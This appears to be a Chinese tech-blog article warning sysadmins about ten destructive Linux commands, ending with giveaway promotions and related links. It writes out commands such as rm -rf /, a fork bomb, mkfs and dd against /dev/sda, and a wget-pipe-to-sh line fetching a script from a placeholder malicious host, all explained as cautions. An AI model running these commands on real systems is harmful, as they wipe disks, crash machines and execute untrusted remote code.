Linux 下 10 個最“危險”的命令,運維必知必防!
Linux 命令列佷有用、很高效,也很有趣,但有時候也很危險,尤其是在你不確定自己正在做什麼時候。
這篇文章將會向你介紹十條命令,但你最好不要“嘗試”著去使用。
當然,以下命令通常都是在 root 許可權下才能將愚蠢發揮到無可救藥;在普通使用者身份下,破壞的只是自己的一畝三分地。
1rm -rf 命令
rm -rf 命令是刪除資料夾及其內容最快的方式之一。
僅僅一丁點的敲錯或無知都可能導致不可恢復的系統崩壞。
下列是一些 rm 命令的選項:
rm 命令在 Linux 下通常用來刪除檔案。
rm -r 命令遞迴的刪除資料夾,甚至是空的資料夾。
rm -f 命令能不經過詢問直接刪除‘只讀檔案’。Linux 下刪除檔案並不在乎該檔案是否是隻讀的,而只是在意其父目錄是否有寫許可權。所以,-f這個引數只是表示不必一個個刪除確認,而是一律悄悄刪除。另外,原始的 rm 命令其實也是沒有刪除提示的,只是一般的發行版都會將 rm 通過別名的方式增加-i引數來要求刪除確認,而-f則抑制了這個提示。
rm -rf / : 強制刪除根目錄下所有東東。
rm -rf * : 強制刪除當前目錄的所有檔案。
rm -rf . : 強制刪除當前資料夾及其子資料夾。
從現在起,當你要執行 rm -rf 命令時請留心一點。我們可以在“.bashrc”檔案對‘rm‘命令建立 rm -i 的別名,來預防用‘rm‘命令刪除檔案時的事故,它會要求你確認每一個刪除請求。
譯註:大多數發行版已經這樣做了,如果還沒有,請這樣做,並在使用-f引數前一定考慮好你在做什麼!譯者本人有著血淚的教訓啊。
2:(){:|:&};: 命令
這就是個 fork 炸彈的例項。
具體操作是通過定義一個名為‘:‘的函式,它會呼叫自己兩次,一次在前臺另一次執行在後臺。它會反覆的執行下去直到系統崩潰。
3命令 > /dev/sda
這個命令會將某個‘命令‘的輸出寫到塊裝置/dev/sda中。
該操作會將在塊裝置中的所有資料塊替換為命令寫入的原始資料,從而導致整個塊裝置的資料丟失。
4mv 資料夾 /dev/null
這個命令會移動某個‘資料夾‘到/dev/null。
在 Linux 中 /dev/null 或 null 裝置是一個特殊的檔案,所有寫入它的資料都會被清除,然後返回寫操作成功。
當然,要說明的是這個命令並不能阻止資料恢復軟體——所以,真正的徹底毀滅,需要採用專用的軟體或者手法來完成。
5wget http://malicious_source -O- | sh
該命令會從一個(也許是)惡意源下載一個指令碼並執行。
Wget 命令會下載這個指令碼,而 sh 會(無條件的)執行下載下來的指令碼。
注意: 你應該時刻注意你下載包或指令碼的源。只能使用那些從可信任的源中下載指令碼/程式。
6mkfs.ext3 /dev/sda
上列命令會格式化塊裝置‘sda’,在執行這個命令後你的塊裝置(硬碟驅動器)會被格式化,直接讓你的系統達到不可恢復的階段。
通常我們不會直接使用/dev/sda這樣的裝置,除非是作為 raw 裝置使用。
一般都需要將 sda 分成類似 sda1、sda2 這樣的分割槽後才使用。當然,無論你使用 sda 還是 sda1,這樣對塊裝置或分割槽進行 mkfs 都是毀滅性的,上面的資料都會被蒸發了。
7> file
這個命令常用來清空檔案內容或記錄命令輸出。
不過請在執行前,確認輸出的檔案是空的或者還不存在,否則原來的檔案可真是恢復不了了——連資料恢復軟體都未必能幫助你了。
你可能真正想用的是“>>”,即累加新的輸出到檔案,而不是重新整理那個檔案。
如果用上列執行時輸入錯誤或無知的輸入類似 “> xt.conf” 的命令會覆蓋配置檔案或其他任何的系統配置檔案。
8^foo^bar
這個命令用來編輯先前執行的命令而無需重打整個命令。
用 foobar 命令時如果你沒有徹底檢查改變原始命令的風險,這可能導致真正的麻煩。
9dd if=/dev/random of=/dev/sda
這個命令會向塊裝置 sda 寫入隨機的垃圾檔案從而擦出資料,讓你的系統可能陷入混亂和不可恢復的狀態。
記得上面說過 mv 到黑洞並不能徹底刪除資料麼?那麼這個命令就是給了你一個徹底刪除的方法!當然為了保險起見,你可以覆寫多次。
10隱藏命令
下面的命令其實就是上面第一個命令 (rm -rf)。
這裡的程式碼是隱藏在十六進位制裡的,一個無知的使用者可能就會被愚弄,如果在終端裡執行下面命令可能會擦除你的根分割槽。
真正的危險是隱藏起來的,不會被輕易的檢測到。你必須時刻留心你在做什麼結果會怎樣。
切記,千萬不要編譯/執行從未知來源的程式碼。
今天給大家帶來的是個命令到這裡就結束了啦,請千萬記住不要再伺服器或者其他裝置上隨意“嘗試“~
如果你想測試它們,請在虛擬機器上執行,不然檔案丟失或者系統奔潰就不好了。
PS:記得查收小編送你的免費大禮包呦~
福利 | 一萬多套PPT模板等你免費來拿!無條件領取!
免費送 | 1000多套簡歷模板免費拿,附贈簡歷製作教程!
免費領 | 《Shell指令碼 100例》電子書免費拿,運維必備乾貨~
▼▼點選【閱讀原文】,5天運維免費課程,開講在即!
相關文章
- Linux的10個最危險命令Linux
- Linux的10個最危險的命令Linux
- Linux運維必知必會的命令列:find 的 26 個用法示例!Linux運維命令列
- Linux 運維必備的 40 個命令總結Linux運維
- Linux 運維必備 150 個命令彙總Linux運維
- 【Linux入門】Linux運維必學的命令有哪些?Linux運維
- 必須掌握的10個Linux命令!Linux
- 總結10個Linux安全運維必備的實用工具!Linux運維
- 程式猿必知必會Linux命令之awkLinux
- Linux運維工程師必備的82個工具全集(下),速收!Linux運維工程師
- 11月29日雲棲精選夜讀|Linux裡10個最危險的命令Linux
- 運維人員必須要了解熟知的Linux命令彙總運維Linux
- Linux必會必知Linux
- 34 個 常用 Linux Shell 指令碼,運維必備!Linux指令碼運維
- 必知必會Java命令-jpsJava
- Linux shell必知必會Linux
- Linux 程式必知必會Linux
- 運維必收乾貨 | Linux關機命令和重啟命令有哪些?運維Linux
- Linux 操作必備 150 個命令Linux
- Linux運維工程師必備工具合集Linux運維工程師
- Linux網路命令必知必會之瑞士軍刀 nc(netcat)Linux
- Linux的10個風險命令Linux
- Linux命令技巧之30個必會的命令技巧Linux
- 入門運維必知必會的系統故障排查和修復技巧運維
- 「必知必會」最細緻的 ArrayList 原理分析
- 「必知必會」最細緻的 LinkedList 原理分析
- Linux運維工程師必備的82個工具全集(上),速收!Linux運維工程師
- Linux的幾個新手必備的命令(一)Linux
- Linux運維人員必會開源運維工具體系Linux運維
- Linux新手入門必須要掌握的10個知識點!Linux
- 每個運維人員應該知道的 10 個 Linux 命令!運維Linux
- 成為 Linux 運維高手必備的七種“武器”!Linux運維
- Linux運維必備技術有哪些?運維要學開發Linux運維
- sed、awk——運維必須掌握的兩個工具運維
- SQL必知必會筆記(下)SQL筆記
- Linux下必須知道的網路命令都有哪些?Linux
- 15 張圖,瞭解一下 TCP/IP 必知也必會的 10 個問題TCP
- 必知必會的8個Python列表技巧Python